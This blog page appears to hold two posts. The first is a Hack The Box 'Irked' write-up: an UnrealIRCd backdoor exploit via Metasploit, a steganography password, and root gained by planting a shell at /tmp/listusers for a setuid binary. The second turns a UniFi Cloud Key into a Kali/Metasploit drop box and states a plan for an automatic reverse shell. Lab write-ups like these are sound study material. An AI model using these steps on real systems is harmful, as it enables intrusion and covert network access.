HTB: Irked

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As usual, we will start off with a nmap scan.

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
34271/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd

Looks like irc is running on a couple ports as well as httpd. Taking into account the name of the box, its probably safe to assume irc is the way in, but first lets look at the website.

Hmm, lets pull down that jpg for later.

A quick google of UnrealIRCd returns a backdoor in the 3.2.8.1 (cve-2010-2075) release and there is a Metasploit module. Lets set it up on port 8067 and see what we get.

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.10.10.117     yes       The target address
   RPORT  8067             yes       The target port (TCP)

Works and we get dropped into a user named ircd.

whoami
ircd

Looking through home directories, there are a couple interesting files found in another user’s Documents directory.

/home/djmardov/Documents
ls -lah
total 16K
drwxr-xr-x  2 djmardov djmardov 4.0K May 15  2018 .
drwxr-xr-x 18 djmardov djmardov 4.0K Nov 23 10:40 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
-rw-------  1 djmardov djmardov   33 May 15  2018 user.txt

Catting out the .backup file gives us a password and a bit of a hint.

Super elite steg backup pw
UP********************ss

Now, we have a password and a hint pointing to stego. Lets look at the jpg we downloaded earlier with steghide.

steghide extract -sf irked.jpg

This gives use another file, pass.txt.

Ka************HG

Using that password to ssh in as the user that owned the file, we now have access to user.txt and a clean shell.

cat user.txt
4a****************************8e

After a bit of enumeration, we find an executable with an interesting name.

find / -user root -perm -4000 -print 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount

Running that gives us one more hint. It looks like its calling another file.

/usr/bin/viewuser
(unknown) :0           2018-11-22 12:34 (:0)
sh: 1: /tmp/listusers: not found
This application is being devleoped to set and test user permissions
It is still being actively developed

Creating a file containing /bin/bash in that location and running it again gives us a root shell and the root flag.

echo "/bin/bash" > /tmp/listusers
chmod +x /tmp/listusers
/usr/bin/viewuser
(unknown) :0           2018-11-22 12:34 (:0)
whoami
root
cat /root/root.txt
8d****************************f3

NOTE: We do not need to use the djmardov user for this, in fact. The privesc can be done via the ircd user, then the user flag can be accessed via the root user. This is, however, probably not the intended path.

This was a pretty direct machine, however the use of stego to hide a password is a little unrealistic. A few of the new machines being added to the active lineup have been more real-world, for example DevOops, which make them a bit more fun.

 

Unifi Kali Key?

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I have used UniFi/Ubiquiti network products for quiet some time now. I’ve deployed their hardware at many past customers and used it for most of my home network. Recently, I had to manually update the firmware on my Cloud Key via a shell and did some poking around on it. It seems to just be an ARM device with Debian and some software installed. Since it accepts POE for power and looks pretty innocuous in a network rack, I thought it would be an interesting device to get some of the Kali tool-set to run on.

To start off, here is a link to the official product page. This device is a purpose built “server”, which runs Ubiquiti’s UniFi controller software, is powered over POE, has an SD card slot, and has a simple web interface for managing the device itself. Ubiquiti offers a “cloud” management system as well, allowing network management over the Internet, hence the name Cloud Key. As for hardware specs, it has 2Gb of RAM, 16Gb onboard MMC storage, and a quad-core ARM CPU. There has been some hardware revisions, it seems, and I believe what I have here is a third generation, which includes USB C for external power and a physical power button.

After powering it up and getting SSHed in, I started snooping around the Debian install.

root@UniFi-CloudKey:~# uname -a
Linux UniFi-CloudKey 3.10.20-ubnt-mtk #2 SMP PREEMPT Mon Jan 8 12:40:11 PST 2018 armv7l GNU/Linux
root@UniFi-CloudKey:~# lspci
pcilib: Cannot open /proc/bus/pci
lspci: Cannot find any working access method.
root@UniFi-CloudKey:~# lscpu
Architecture:          armv7l
Byte Order:            Little Endian
CPU(s):                4
On-line CPU(s) list:   0-3
Thread(s) per core:    1
Core(s) per socket:    4
Socket(s):             1
CPU max MHz:           1300.0000
CPU min MHz:           598.0000
root@UniFi-CloudKey:~# lsblk
NAME         MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
mmcblk0rpmb  179:96   0    4M  0 disk
mmcblk0boot0 179:32   0    4M  1 disk
mmcblk0boot1 179:64   0    4M  1 disk
mmcblk0      179:0    0 14.7G  0 disk
|-mmcblk0p1  179:1    0  512K  0 part
|-mmcblk0p2  179:2    0  256K  0 part
|-mmcblk0p3  179:3    0  256K  0 part
|-mmcblk0p4  179:4    0   32M  0 part
|-mmcblk0p5  179:5    0   32M  0 part
|-mmcblk0p6  179:6    0    1G  0 part /mnt/.rofs
|-mmcblk0p7  179:7    0    3G  0 part /mnt/.rwfs
`-mmcblk0p8  179:8    0 10.6G  0 part /srv
mmcblk1      179:128  0  7.4G  0 disk
`-mmcblk1p1  179:129  0  7.4G  0 part /data
mtdblock0     31:0    0   64K  1 disk
mtdblock1     31:1    0  960K  0 disk
root@UniFi-CloudKey:~# free -m
             total       used       free     shared    buffers     cached
Mem:          2017        715       1302          5        124        420
-/+ buffers/cache:        170       1847
Swap:            0          0          0
root@UniFi-CloudKey:~# df -h
Filesystem                     Size  Used Avail Use% Mounted on
aufs-root                      2.9G  354M  2.6G  13% /
udev                            10M     0   10M   0% /dev
tmpfs                          404M  396K  404M   1% /run
/dev/disk/by-label/userdata    2.9G  354M  2.6G  13% /mnt/.rwfs
/dev/disk/by-partlabel/rootfs  291M  291M     0 100% /mnt/.rofs
tmpfs                         1009M     0 1009M   0% /dev/shm
tmpfs                          5.0M     0  5.0M   0% /run/lock
tmpfs                         1009M     0 1009M   0% /sys/fs/cgroup
tmpfs                         1009M     0 1009M   0% /tmp
/dev/mmcblk0p8                  11G  137M   11G   2% /srv
/dev/mmcblk1p1                 7.2G   17M  7.2G   1% /data
root@UniFi-CloudKey:~# apt list --installed
Listing... Done
acl/oldstable,now 2.2.52-2 armhf [installed]
adduser/oldstable,now 3.113+nmu3 all [installed]
apt/oldstable,oldstable,now 1.0.9.8.4 armhf [installed]
apt-transport-https/oldstable,oldstable,now 1.0.9.8.4 armhf [installed]
apt-utils/oldstable,oldstable,now 1.0.9.8.4 armhf [installed]
aufs-tools/oldstable,now 1:3.2+20130722-1.1 armhf [installed]
base-files/now 8+deb8u10 armhf [installed,upgradable to: 8+deb8u11]
base-passwd/oldstable,now 3.5.37 armhf [installed]
bash/oldstable,now 4.3-11+deb8u1 armhf [installed]
binutils/oldstable,now 2.25-5+deb8u1 armhf [installed]
bluez/oldstable,oldstable,now 5.23-2+deb8u1 armhf [installed]
bsdutils/oldstable,now 1:2.25.2-6 armhf [installed]
busybox/oldstable,now 1:1.22.0-9+deb8u4 armhf [installed]
busybox-syslogd/oldstable,now 1:1.22.0-9+deb8u4 all [installed]
ca-certificates/oldstable,now 20141019+deb8u4 all [installed]
cloudkey-webui/now 2.0.10-1 all [installed,local]
coreutils/oldstable,now 8.23-4 armhf [installed]
cpio/oldstable,oldstable,now 2.11+dfsg-4.1+deb8u1 armhf [installed]
cpufrequtils/oldstable,now 008-1 armhf [installed]
cron/oldstable,now 3.0pl1-127+deb8u1 armhf [installed]
cron-apt/oldstable,now 0.9.2 all [installed]
curl/oldstable,oldstable,now 7.38.0-4+deb8u11 armhf [installed]
dash/oldstable,now 0.5.7-4+b1 armhf [installed]
dbus/oldstable,now 1.8.22-0+deb8u1 armhf [installed]
debconf/oldstable,now 1.5.56+deb8u1 all [installed]
debconf-i18n/oldstable,now 1.5.56+deb8u1 all [installed]
debian-archive-keyring/oldstable,now 2017.5~deb8u1 all [installed]
debianutils/oldstable,now 4.4+b1 armhf [installed]
dialog/oldstable,now 1.2-20140911-1 armhf [installed]
diffutils/oldstable,now 1:3.3-1+b1 armhf [installed]
dmeventd/oldstable,now 2:1.02.90-2.2+deb8u1 armhf [installed]
dmsetup/oldstable,now 2:1.02.90-2.2+deb8u1 armhf [installed]
dpkg/oldstable,now 1.17.27 armhf [installed]
e2fslibs/oldstable,now 1.42.12-2+b1 armhf [installed]
e2fsprogs/oldstable,now 1.42.12-2+b1 armhf [installed]
ethtool/oldstable,now 1:3.16-1 armhf [installed]
findutils/oldstable,now 4.4.2-9+b1 armhf [installed]
firmware-atheros/oldstable,now 0.43 all [installed]
freeradius/oldstable,oldstable,now 2.2.5+dfsg-0.2+deb8u1 armhf [installed]
freeradius-common/oldstable,oldstable,now 2.2.5+dfsg-0.2+deb8u1 all [installed]
freeradius-ldap/oldstable,oldstable,now 2.2.5+dfsg-0.2+deb8u1 armhf [installed]
freeradius-utils/oldstable,oldstable,now 2.2.5+dfsg-0.2+deb8u1 armhf [installed]
gcc-4.8-base/oldstable,now 4.8.4-1 armhf [installed]
gcc-4.9-base/oldstable,oldstable,now 4.9.2-10+deb8u1 armhf [installed]
gnupg/oldstable,oldstable,now 1.4.18-7+deb8u5 armhf [installed]
gpgv/oldstable,oldstable,now 1.4.18-7+deb8u5 armhf [installed]
grep/oldstable,now 2.20-4.1 armhf [installed]
gzip/oldstable,now 1.6-4 armhf [installed]
hostname/oldstable,now 3.15 armhf [installed]
htop/oldstable,now 1.0.3-1 armhf [installed]
init/oldstable,now 1.22 armhf [installed]
init-system-helpers/oldstable,now 1.22 all [installed]
initramfs-tools/oldstable,now 0.120+deb8u3 all [installed]
initscripts/oldstable,now 2.88dsf-59 armhf [installed]
insserv/oldstable,now 1.14.0-5 armhf [installed]
iperf/oldstable,now 2.0.5+dfsg1-2 armhf [installed]
iproute/oldstable,now 1:3.16.0-2 all [installed]
iproute2/oldstable,now 3.16.0-2 armhf [installed]
iptables/oldstable,now 1.4.21-2+b1 armhf [installed]
iputils-ping/oldstable,now 3:20121221-5+b2 armhf [installed]
jsvc/oldstable,now 1.0.15-6+deb8u1 armhf [installed]
klibc-utils/oldstable,now 2.0.4-2 armhf [installed]
kmod/oldstable,now 18-3 armhf [installed]
less/oldstable,now 458-3 armhf [installed]
libacl1/oldstable,now 2.2.52-2 armhf [installed]
libapparmor1/oldstable,now 2.9.0-3 armhf [installed]
libapt-inst1.5/oldstable,oldstable,now 1.0.9.8.4 armhf [installed]
libapt-pkg4.12/oldstable,oldstable,now 1.0.9.8.4 armhf [installed]
libasound2/oldstable,now 1.0.28-1 armhf [installed]
libasound2-data/oldstable,now 1.0.28-1 all [installed]
libattr1/oldstable,now 1:2.4.47-2 armhf [installed]
libaudit-common/oldstable,now 1:2.4-1 all [installed]
libaudit1/oldstable,now 1:2.4-1+b1 armhf [installed]
libblkid1/oldstable,now 2.25.2-6 armhf [installed]
libboost-filesystem1.55.0/oldstable,now 1.55.0+dfsg-3 armhf [installed]
libboost-program-options1.55.0/oldstable,now 1.55.0+dfsg-3 armhf [installed]
libboost-system1.55.0/oldstable,now 1.55.0+dfsg-3 armhf [installed]
libboost-thread1.55.0/oldstable,now 1.55.0+dfsg-3 armhf [installed]
libbsd0/oldstable,now 0.7.0-2 armhf [installed]
libbz2-1.0/oldstable,now 1.0.6-7+b3 armhf [installed]
libc-bin/oldstable,oldstable,now 2.19-18+deb8u10 armhf [installed]
libc6/oldstable,oldstable,now 2.19-18+deb8u10 armhf [installed]
libcap-ng0/oldstable,now 0.7.4-2 armhf [installed]
libcap2/oldstable,now 1:2.24-8 armhf [installed]
libcap2-bin/oldstable,now 1:2.24-8 armhf [installed]
libcomerr2/oldstable,now 1.42.12-2+b1 armhf [installed]
libcommons-daemon-java/oldstable,now 1.0.15-6+deb8u1 all [installed]
libcpufreq0/oldstable,now 008-1 armhf [installed]
libcryptsetup4/oldstable,now 2:1.6.6-5 armhf [installed]
libcurl3/oldstable,oldstable,now 7.38.0-4+deb8u11 armhf [installed]
libcurl3-gnutls/oldstable,oldstable,now 7.38.0-4+deb8u11 armhf [installed]
libdb5.3/oldstable,now 5.3.28-9+deb8u1 armhf [installed]
libdbus-1-3/oldstable,now 1.8.22-0+deb8u1 armhf [installed]
libdebconfclient0/oldstable,now 0.192 armhf [installed]
libdevmapper-event1.02.1/oldstable,now 2:1.02.90-2.2+deb8u1 armhf [installed]
libdevmapper1.02.1/oldstable,now 2:1.02.90-2.2+deb8u1 armhf [installed]
libedit2/oldstable,now 3.1-20140620-2 armhf [installed]
libevent-2.0-5/oldstable,oldstable,now 2.0.21-stable-2+deb8u1 armhf [installed]
libexpat1/oldstable,oldstable,now 2.1.0-6+deb8u4 armhf [installed]
libffi6/oldstable,oldstable,now 3.1-2+deb8u1 armhf [installed]
libfreeradius2/oldstable,oldstable,now 2.2.5+dfsg-0.2+deb8u1 armhf [installed]
libgcc1/oldstable,oldstable,now 1:4.9.2-10+deb8u1 armhf [installed]
libgcrypt20/oldstable,now 1.6.3-2+deb8u5 armhf [installed]
libgdbm3/oldstable,now 1.8.3-13.1 armhf [installed]
libglib2.0-0/oldstable,now 2.42.1-1+b1 armhf [installed]
libgmp10/oldstable,now 2:6.0.0+dfsg-6 armhf [installed]
libgnutls-deb0-28/oldstable,now 3.3.8-6+deb8u7 armhf [installed]
libgnutls-openssl27/oldstable,now 3.3.8-6+deb8u7 armhf [installed]
libgpg-error0/oldstable,now 1.17-3 armhf [installed]
libgssapi-krb5-2/oldstable,now 1.12.1+dfsg-19+deb8u4 armhf [installed]
libhogweed2/oldstable,now 2.7.1-5+deb8u2 armhf [installed]
libicu52/oldstable,oldstable,now 52.1-8+deb8u7 armhf [installed]
libidn11/oldstable,now 1.29-1+deb8u3 armhf [installed]
libjson-c2/oldstable,now 0.11-4 armhf [installed]
libk5crypto3/oldstable,now 1.12.1+dfsg-19+deb8u4 armhf [installed]
libkeyutils1/oldstable,now 1.5.9-5+b1 armhf [installed]
libklibc/oldstable,now 2.0.4-2 armhf [installed]
libkmod2/oldstable,now 18-3 armhf [installed]
libkrb5-3/oldstable,now 1.12.1+dfsg-19+deb8u4 armhf [installed]
libkrb5support0/oldstable,now 1.12.1+dfsg-19+deb8u4 armhf [installed]
libldap-2.4-2/oldstable,now 2.4.40+dfsg-1+deb8u3 armhf [installed,upgradable to: 2.4.40+dfsg-1+deb8u4]
liblocale-gettext-perl/oldstable,now 1.05-8+b1 armhf [installed]
liblockfile-bin/oldstable,now 1.09-6 armhf [installed]
libltdl7/oldstable,now 2.4.2-1.11 armhf [installed]
liblvm2cmd2.02/oldstable,now 2.02.111-2.2+deb8u1 armhf [installed]
liblzma5/oldstable,now 5.1.1alpha+20120614-2+b3 armhf [installed]
liblzo2-2/oldstable,now 2.08-1.2 armhf [installed]
libmagic1/now 1:5.22+15-2+deb8u3 armhf [installed,upgradable to: 1:5.22+15-2+deb8u4]
libmount1/oldstable,now 2.25.2-6 armhf [installed]
libncurses5/now 5.9+20140913-1+deb8u2 armhf [installed,upgradable to: 5.9+20140913-1+deb8u3]
libncursesw5/now 5.9+20140913-1+deb8u2 armhf [installed,upgradable to: 5.9+20140913-1+deb8u3]
libnettle4/oldstable,now 2.7.1-5+deb8u2 armhf [installed]
libnfnetlink0/oldstable,now 1.0.1-3 armhf [installed]
libnl-3-200/oldstable,now 3.2.24-2 armhf [installed]
libnl-route-3-200/oldstable,now 3.2.24-2 armhf [installed]
libonig2/oldstable,now 5.9.5-3.2+deb8u1 armhf [installed]
libopts25/oldstable,now 1:5.18.4-3 armhf [installed]
libp11-kit0/oldstable,now 0.20.7-1 armhf [installed]
libpam-modules/oldstable,now 1.1.8-3.1+deb8u2+b1 armhf [installed]
libpam-modules-bin/oldstable,now 1.1.8-3.1+deb8u2+b1 armhf [installed]
libpam-runtime/oldstable,now 1.1.8-3.1+deb8u2 all [installed]
libpam-usermapper/now 0.1 armhf [installed,local]
libpam0g/oldstable,now 1.1.8-3.1+deb8u2+b1 armhf [installed]
libparted2/oldstable,now 3.2-7 armhf [installed]
libpcap0.8/oldstable,now 1.6.2-2 armhf [installed]
libpci3/oldstable,now 1:3.2.1-3 armhf [installed]
libpcre3/oldstable,now 2:8.35-3.3+deb8u4 armhf [installed]
libpcrecpp0/oldstable,now 2:8.35-3.3+deb8u4 armhf [installed]
libperl4-corelibs-perl/oldstable,now 0.003-1 all [installed]
libperl5.20/oldstable,oldstable,now 5.20.2-3+deb8u11 armhf [installed]
libpopt0/oldstable,now 1.16-10 armhf [installed]
libprocps3/oldstable,oldstable,now 2:3.3.9-9+deb8u1 armhf [installed]
libpsl0/oldstable,now 0.5.1-1 armhf [installed]
libpython-stdlib/oldstable,now 2.7.9-1 armhf [installed]
libpython2.7/oldstable,now 2.7.9-2+deb8u1 armhf [installed]
libpython2.7-minimal/oldstable,now 2.7.9-2+deb8u1 armhf [installed]
libpython2.7-stdlib/oldstable,now 2.7.9-2+deb8u1 armhf [installed]
libqdbm14/oldstable,now 1.8.78-5+b1 armhf [installed]
libreadline5/oldstable,now 5.2+dfsg-2 armhf [installed]
libreadline6/oldstable,now 6.3-8+b3 armhf [installed]
librtmp1/oldstable,oldstable,now 2.4+20150115.gita107cef-1+deb8u1 armhf [installed]
libsasl2-2/oldstable,oldstable,now 2.1.26.dfsg1-13+deb8u1 armhf [installed]
libsasl2-modules-db/oldstable,oldstable,now 2.1.26.dfsg1-13+deb8u1 armhf [installed]
libselinux1/oldstable,now 2.3-2 armhf [installed]
libsemanage-common/oldstable,now 2.3-1 all [installed]
libsemanage1/oldstable,now 2.3-1+b1 armhf [installed]
libsepol1/oldstable,now 2.3-2 armhf [installed]
libslang2/oldstable,now 2.3.0-2 armhf [installed]
libsmartcols1/oldstable,now 2.25.2-6 armhf [installed]
libsnappy1/oldstable,now 1.1.2-3 armhf [installed]
libsqlite3-0/oldstable,now 3.8.7.1-1+deb8u2 armhf [installed]
libss2/oldstable,now 1.42.12-2+b1 armhf [installed]
libssh2-1/oldstable,oldstable,now 1.4.3-4.1+deb8u1 armhf [installed]
libssl1.0.0/oldstable,now 1.0.1t-1+deb8u9 armhf [installed]
libstdc++6/oldstable,oldstable,now 4.9.2-10+deb8u1 armhf [installed]
libsystemd0/oldstable,now 215-17+deb8u7 armhf [installed]
libtasn1-6/oldstable,oldstable,now 4.2-3+deb8u3 armhf [installed]
libtext-charwidth-perl/oldstable,now 0.04-7+b4 armhf [installed]
libtext-iconv-perl/oldstable,now 1.7-5+b2 armhf [installed]
libtext-wrapi18n-perl/oldstable,now 0.06-7 all [installed]
libtinfo5/now 5.9+20140913-1+deb8u2 armhf [installed,upgradable to: 5.9+20140913-1+deb8u3]
libudev1/oldstable,now 215-17+deb8u7 armhf [installed]
libusb-0.1-4/oldstable,now 2:0.1.12-25 armhf [installed]
libusb-1.0-0/oldstable,now 2:1.0.19-1 armhf [installed]
libustr-1.0-1/oldstable,now 1.0.4-3+b2 armhf [installed]
libuuid1/oldstable,now 2.25.2-6 armhf [installed]
libv8-3.14.5/oldstable,now 3.14.5.8-8.1 armhf [installed]
libwrap0/oldstable,now 7.6.q-25 armhf [installed]
libx11-6/oldstable,now 2:1.6.2-3+deb8u1 armhf [installed]
libx11-data/oldstable,now 2:1.6.2-3+deb8u1 all [installed]
libxau6/oldstable,now 1:1.0.8-1 armhf [installed]
libxcb1/oldstable,now 1.10-3+b1 armhf [installed]
libxdmcp6/oldstable,now 1:1.1.1-1+b1 armhf [installed]
libxext6/oldstable,now 2:1.3.3-1 armhf [installed]
libxi6/oldstable,now 2:1.7.4-1+deb8u1 armhf [installed]
libxml2/oldstable,oldstable,now 2.9.1+dfsg1-5+deb8u6 armhf [installed]
libxrender1/oldstable,now 1:0.9.8-1+b1 armhf [installed]
libxtables10/oldstable,now 1.4.21-2+b1 armhf [installed]
libxtst6/oldstable,now 2:1.2.2-1+deb8u1 armhf [installed]
linux-image-3.10.20-ubnt-mtk/now 2.1 armhf [installed,local]
login/oldstable,oldstable,now 1:4.2-3+deb8u4 armhf [installed]
logrotate/oldstable,now 3.8.7-1+b1 armhf [installed]
lsb-base/oldstable,now 4.1+Debian13+nmu1 all [installed]
lsb-release/oldstable,now 4.1+Debian13+nmu1 all [installed]
lsof/oldstable,now 4.86+dfsg-1 armhf [installed]
lvm2/oldstable,now 2.02.111-2.2+deb8u1 armhf [installed]
mawk/oldstable,now 1.3.3-17 armhf [installed]
mime-support/oldstable,now 3.58 all [installed]
mongodb-clients/oldstable,now 1:2.4.10-5+deb8u1 armhf [installed]
mongodb-server/oldstable,now 1:2.4.10-5+deb8u1 armhf [installed]
mount/oldstable,now 2.25.2-6 armhf [installed]
mtd-utils/oldstable,now 1:1.5.1-1 armhf [installed]
multiarch-support/oldstable,oldstable,now 2.19-18+deb8u10 armhf [installed]
ncurses-base/now 5.9+20140913-1+deb8u2 all [installed,upgradable to: 5.9+20140913-1+deb8u3]
ncurses-bin/now 5.9+20140913-1+deb8u2 armhf [installed,upgradable to: 5.9+20140913-1+deb8u3]
net-tools/oldstable,now 1.60-26+b1 armhf [installed]
netbase/oldstable,now 5.3 all [installed]
nginx-common/oldstable,oldstable,now 1.6.2-5+deb8u5 all [installed]
nginx-light/oldstable,oldstable,now 1.6.2-5+deb8u5 armhf [installed]
openssh-client/oldstable,now 1:6.7p1-5+deb8u5 armhf [installed]
openssh-server/oldstable,now 1:6.7p1-5+deb8u5 armhf [installed]
openssh-sftp-server/oldstable,now 1:6.7p1-5+deb8u5 armhf [installed]
openssl/oldstable,now 1.0.1t-1+deb8u9 armhf [installed]
oracle-java8-jdk/now 8u151 armhf [installed,local]
parted/oldstable,now 3.2-7 armhf [installed]
passwd/oldstable,oldstable,now 1:4.2-3+deb8u4 armhf [installed]
pciutils/oldstable,now 1:3.2.1-3 armhf [installed]
perl/oldstable,oldstable,now 5.20.2-3+deb8u11 armhf [installed]
perl-base/oldstable,oldstable,now 5.20.2-3+deb8u11 armhf [installed]
perl-modules/oldstable,oldstable,now 5.20.2-3+deb8u11 all [installed]
php5-cli/oldstable,now 5.6.36+dfsg-0+deb8u1 armhf [installed]
php5-common/oldstable,now 5.6.36+dfsg-0+deb8u1 armhf [installed]
php5-fpm/oldstable,now 5.6.36+dfsg-0+deb8u1 armhf [installed]
php5-json/oldstable,now 1.3.6-1 armhf [installed]
procps/oldstable,oldstable,now 2:3.3.9-9+deb8u1 armhf [installed]
psmisc/oldstable,now 22.21-2 armhf [installed]
python/oldstable,now 2.7.9-1 armhf [installed]
python-minimal/oldstable,now 2.7.9-1 armhf [installed]
python2.7/oldstable,now 2.7.9-2+deb8u1 armhf [installed]
python2.7-minimal/oldstable,now 2.7.9-2+deb8u1 armhf [installed]
readline-common/oldstable,now 6.3-8 all [installed]
rfkill/oldstable,now 0.5-1 armhf [installed]
sed/oldstable,now 4.2.2-4+deb8u1 armhf [installed]
sensible-utils/oldstable,oldstable,now 0.0.9+deb8u1 all [installed]
ssl-cert/oldstable,now 1.0.35 all [installed]
startpar/oldstable,now 0.59-3 armhf [installed]
sudo/oldstable,now 1.8.10p3-1+deb8u5 armhf [installed]
systemd/oldstable,now 215-17+deb8u7 armhf [installed]
systemd-networkd-fallbacker/now 0.3 armhf [installed,local]
systemd-sysv/oldstable,now 215-17+deb8u7 armhf [installed]
sysv-rc/oldstable,now 2.88dsf-59 all [installed]
sysvinit-utils/oldstable,now 2.88dsf-59 armhf [installed]
tar/oldstable,oldstable,now 1.27.1-2+deb8u1 armhf [installed]
tcpdump/oldstable,oldstable,now 4.9.2-1~deb8u1 armhf [installed]
tzdata/now 2017c-0+deb8u1 all [installed,upgradable to: 2018e-0+deb8u1]
ubnt-archive-keyring/now 1.0-1 all [installed,local]
ubnt-freeradius-setup/now 0.1 all [installed,local]
ubnt-mtk-initramfs/now 1.1 all [installed,local]
ubnt-tools/now 0.9.7-1 armhf [installed,local]
ubnt-unifi-setup/now 0.2.1 all [installed,local]
ucf/oldstable,now 3.0030 all [installed]
udev/oldstable,now 215-17+deb8u7 armhf [installed]
unifi/now 5.6.29-10253 all [installed,upgradable to: 5.8.28-11052-1]
usbutils/oldstable,now 1:007-2 armhf [installed]
util-linux/oldstable,now 2.25.2-6 armhf [installed]
vim-common/oldstable,now 2:7.4.488-7+deb8u3 armhf [installed]
vim-tiny/oldstable,now 2:7.4.488-7+deb8u3 armhf [installed]
vlan/oldstable,now 1.9-3.2 armhf [installed]
wget/oldstable,oldstable,now 1.16-1+deb8u5 armhf [installed]
x11-common/oldstable,now 1:7.7+7 all [installed]
xz-utils/oldstable,now 5.1.1alpha+20120614-2+b3 armhf [installed]
zlib1g/oldstable,now 1:1.2.8.dfsg-2+b1 armhf [installed]

I eventually found some interesting Ubnt-* tools. These are used to do some firmware and service related tasks. It looks like some features are duplicated in different tools.

root@UniFi-CloudKey:~# ubnt-unifi-setup
Usage: /usr/sbin/ubnt-unifi-setup start|stop
root@UniFi-CloudKey:~# ubnt-systool
Ubiquiti system tools, v1.0
Usage: /sbin/ubnt-systool  []
  supported commands:
     timezone 
     hostname 
     network  
     fwupdate 
     fwupdatestatus
     resetbutton <true|false>
     pwcheck
     chpasswd
     adminname 
     reboot
     poweroff
     reset2defaults
     cleanup
     led          
root@UniFi-CloudKey:~# ubnt-tools
Ubiquiti system tools
Copyright 2006-2015, Ubiquiti Networks, Inc. <support@ubnt.com>

This program is proprietary software; you can not redistribute it and/or modify
it without signed agreement with Ubiquiti Networks, Inc.

	bgnd
	ubnt-discover
	infctld
	pwcheck
	fwupdate
	fwinfo
	fsync
	hwaddr
	sysusermerge

With all that out of the way, I decided to try to just add the Kali repo and install something from it. First I need to install nano, I guess.

I added the Kali repo, added the gpg key for their repo, updated package lists, then tried to install metasploit.

echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 7D8D0BF6
apt update
apt install metasploit-framework

And metasploit works!

With that being a success, there are a few issues that need to be addressed. First, the UniFi controller software is still running, possibly spewing packets to the network, looking for APs and switches. That, along with some other unneeded software, can easily be removed. Two, due to how the onboard MMC storage is partitioned, the root filesystem only has about 1.5G left after the MSF install. I’m sure I can find a way to use other partitions or SD card for storage. I’ll work on that later, since its not breaking anything yet. Three, I need to set up an automatic reverse shell, since the intent is to not be logging into this thing locally. And lastly, some encrypted storage probably wouldn’t be a bad idea as well.

Part two is coming soon…